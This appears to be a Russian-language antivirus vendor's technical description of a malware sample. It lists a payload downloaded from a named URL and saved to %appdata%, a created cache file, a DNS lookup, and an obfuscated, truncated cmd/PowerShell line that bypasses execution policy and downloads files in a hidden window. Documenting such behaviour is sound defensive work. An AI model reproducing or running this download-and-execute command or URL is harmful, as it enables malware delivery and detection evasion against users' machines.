Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://ucicnow.com/images/atcknb/hsqo9.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWe^RsH^E^l^L.e^XE^ -E^xe^CUtiO^nP^O^LI^cy^ bYPas^s ^-nOPROFi^LE ^-wi^ndoWSt^Yl^E ^hId^DE^N (nEW-o^B^JeCt S^YS^TeM.nEt.^weBclI^En^T).d^ownLOa^df^ILe^('http://ucicnow.com/images...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
UDP
- DNS ASK uc##now.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWe^RsH^E^l^L.e^XE^ -E^xe^CUtiO^nP^O^LI^cy^ bYPas^s ^-nOPROFi^LE ^-wi^ndoWSt^Yl^E ^hId^DE^N (nEW-o^B^JeCt S^YS^TeM.nEt.^weBclI^En^T).d^ownLOa^df^ILe^('http://ucicnow.com/images... (со скрытым окном)
